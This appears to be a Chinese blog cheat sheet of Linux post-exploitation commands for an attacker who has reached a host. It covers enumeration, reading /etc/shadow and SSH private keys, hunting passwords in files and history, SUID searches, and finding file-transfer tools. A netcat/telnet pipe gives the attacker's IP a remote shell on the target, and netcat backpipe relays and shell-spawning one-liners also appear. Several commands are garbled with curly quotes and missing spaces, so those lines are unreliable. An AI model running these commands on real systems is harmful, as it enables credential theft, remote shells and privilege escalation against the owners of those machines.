Linux 系统信息收集常用命令

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所属分类:安全闲碎

Linux 系统信息收集简介

常用命令

查看系统版本

cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release

查看内核版本

cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz

查看环境变量里

cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set

查看是否存在打印机

lpstat -a


应用与服务

查看正在运行的服务以及权限

ps aux ps -ef top cat /etc/service

查看具有 root 权限的进程

ps aux | grep root ps -ef | grep root

查看已安装程序、版本及运行状态

ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/

查看Service 设置

cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

查看本机任务计划

crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root

查找可能存有用户名和密码的文本

grep -i user [filename] grep -i pass [filename] grep -C 5 “password” [filename] find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla

通信与网络

查看 NIC 以及连接信息

/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network

查看网络配置

cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname

查看本机的网络连接信息

lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig –list chkconfig –list | grep 3:on last

查看 ARP 及路由表信息

arp -e route /sbin/route -nee

嗅探数据包

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

获得一个 Shell 与系统进行交互

nc -lvp 4444 # Attacker. 输入(命令) nc -lvp 4445 # Attacker. 输出(结果) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用攻击者的 IP!

端口转发(端口重定向)

# fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7  #ssh # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 [email protected] # Local Port ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port  #mknod # mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

建立远程 SSH 隧道

ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

秘密信息和用户

查看已登录(在线)账户以及权限设置

id who w last cat /etc/passwd | cut -d: # List of users grep -v -E “^#” /etc/passwd | awk -F: '$3 == 0 { print $1}’ # List of super users awk -F: ‘($3 == “0”) {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l

查看敏感文件

cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/

查看相关目录的隐藏文件

ls -ahlR /root/ ls -ahlR /home/

查找密码,脚本,数据库,默认配置文件或日志文件

cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg

查看操作历史(SSH,nano 等)

cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history

查找用户信息

cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root

查找主机上的私钥

cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key  

文件系统

查找具备 /etc/ 目录写权限的用户以及重新配置服务的用户

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyone ls -aRl /etc/ | awk ’$1 ~ /^..w/’ 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Group ls -aRl /etc/ | awk ’;$1 ~ /w.$/’ 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

查找 /var/ 目录的隐藏可疑文件

ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases

查找网站的隐藏配置文件

ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/  

查看相关系统日志

cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)

一句话创建可交互式反弹 Shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’ echo os.system(‘/bin/bash’) /bin/sh -i

挂载文件系统

mount df -h

查看系统挂载情况

cat /etc/fstab

高级 Linux 文件权限使用(Sticky bits, SUID 和 GUID)

find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r “bin$”`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID(Quicker search)# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permissiondenied) find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

哪些目录具有写入权限(几个通用的目录:/tmp,/var,/tmp,/dev,/shm)

find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable foldersAny “problem” files?可写的的,“没有使用”的文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

准备和查找漏洞利用代码

查看语言/代码支持情况

find / -name perl* find / -name python* find / -name gcc* find / -name cc

查找可利用于传输文件的命令

find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp find / -name scp


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